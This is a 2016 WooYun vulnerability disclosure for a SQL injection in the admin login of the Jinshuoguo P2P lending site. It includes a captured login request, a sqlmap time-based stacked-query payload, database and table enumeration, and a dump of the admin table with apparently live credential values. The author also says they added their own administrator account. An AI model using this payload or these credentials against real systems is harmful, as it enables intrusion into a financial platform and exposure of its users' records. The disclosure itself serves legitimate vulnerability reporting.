当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0166357

漏洞标题:P2P金融金硕果后台登录窗口存在sql注入(管理员账户可登陆)

相关厂商:金硕果

漏洞作者: Nelion

提交时间:2016-01-03 21:44

修复时间:2016-02-20 15:48

公开时间:2016-02-20 15:48

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:5

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-03: 细节已通知厂商并且等待厂商处理中
2016-01-08: 厂商已经确认,细节仅向厂商公开
2016-01-18: 细节向核心白帽子及相关领域专家公开
2016-01-28: 细节向普通白帽子公开
2016-02-07: 细节向实习白帽子公开
2016-02-20: 细节向公众公开

简要描述:

RT

详细说明:

深圳市道成互联网金融服务有限公司于2015年1月30日在深圳市前海注册成功,注册资金5000万,旗下金硕果平台是一家综合性的专业金融中介服务机构。金硕果网络金融咨询平台集财富管理、信用风险评估与管理、金融行业投资及交易促成平台服务等业务一体,致力于为有融资及投资需求小微企业和个人提供高效、透明、便捷的互联网金融服务。(官网介绍)
1、注入点(抓的登录窗口包):

http://**.**.**.**/manage/Login.aspx


POST /manage/login.aspx HTTP/1.1
Host: **.**.**.**
Content-Length: 408
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://**.**.**.**/manage/login.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: __cfduid=d0f5159ebd5955a32afacf6b0b2a79c3c1451469313; CNZZDATA1256798750=549312653-1451469313-http%253A%252F%252F**.**.**.**%252F%7C1451469313; CNZZDATA1254630126=237372052-1451469314-http%253A%252F%252F**.**.**.**%252F%7C1451469314
__VIEWSTATE=PODu1fY%2Bhx05F2Rv%2F6uVsuGHLWRpfcfT70xlVkLoAZdwsHEztWIwDxPfhUljJRb0nLCfeBCFpY1R63M%2FQa%2BQzDszP18S9uVigkOGKatK5ZM%3D&__EVENTVALIDATION=WqWlWc5X9wVpb4SrG1MRr%2FnBns55TW88mqxcxRi2T8q%2BFPP9%2FoabziYpLpLPOM3kirrIiwd6KZ7Nh0jNuvPoMHuAt4B%2B1vi%2BLc6V0xc2sFAVyTYSrK%2FANVlDsmgHpDOvfU2%2F2UB6RGNzRx8emmSeBWzu75V38WhLPd%2F3%2B29jkKI%3D&username=13777777777&password=123456&Button_OK=%E7%99%BB+%E5%BD%95


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: __VIEWSTATE=/mB5oKnvayvyRfIJSxeLtcrm7QGe49O Bl2zwd/QvWq8Sw9X5AxaDB6Y8 onYGqnI6KfGuXik8y
xEPE1pmYiZkPGLPynDOKPgpCf7Om8No=&__EVENTVALIDATION=eyLoQ9NuAaT3aBynwepbWD5zTOPxTlMwiTxjtvZrCjG0AM4v
0g6aip7n1B2TKAQ0vH6CmK1Gw1IY8/V1a/yIZdWw DFIRdBgDq0bNUghQ1e0GmkFnnFuDqMwy7mHkdOC6khrGRdKROnvff92uHv
HxJ/p0xPg2oho4TEiv9Mp4c=&username=13777777777';WAITFOR DELAY '0:0:5'--&password=123456&Button_OK=%E7
%99%BB %E5%BD%95
---
do you want to exploit this SQL injection? [Y/n]
[11:25:43] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET
back-end DBMS: Microsoft SQL Server 2012

漏洞证明:

2、数据库当前用户:

用户与权限.png


3、所有数据库:

available databases [7]:
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] Y2D


4、当前数据库是Y2D,其中的表及数据量:

Database: Y2D
+--------------------+---------+
| Table | Entries |
+--------------------+---------+
| dbo.accountRecord | 9659 |
| dbo.withdrawRecord | 6861 |
| dbo.investRecord | 3040 |
| dbo.users | 695 |
| dbo.sms | 441 |
| dbo.imgRecord | 273 |
| dbo.userBank | 103 |
| dbo.repayList | 83 |
| dbo.article | 65 |
| dbo.loanTarget | 55 |
| dbo.userInfo | 54 |
| dbo.withdrawList | 47 |
| dbo.sysAdmin | 6 |
| dbo.contentType | 2 |
+--------------------+---------+


5、看一下dbo.sysAdmin这个表中的某些字段的数据:

Database: Y2D
Table: sysAdmin
[6 entries]
+------+-------------+-------+
| user | adminpass | relid |
+------+-------------+-------+
| dbo | 13655418921 | <blank> |
| dbo | 15098994190 | <blank> |
| dbo | 15614647282 | <blank> |
| dbo | 18563405315 | <blank> |
| dbo | 18764009903 | <blank> |
| dbo | guying1314 | <blank> |
+------+-------------+-------+


6、我们可以用中间adminpass这个字段的值来登录后台。(登录名和密码都是这个字段,即13655418921/13655418921)。我们看一下所有的系统管理员用户,最后一个Sysadmin是我自己加的:

系统管.png


7、看一下用户信息:

用户信息.png


8、还有其他的一些审批的功能我就不说明了。毕竟我不是破坏。

修复方案:

参数过滤

版权声明:转载请注明来源 Nelion@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-01-08 17:29

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给广东分中心,由广东分中心后续协调网站管理单位处置。

最新状态:

暂无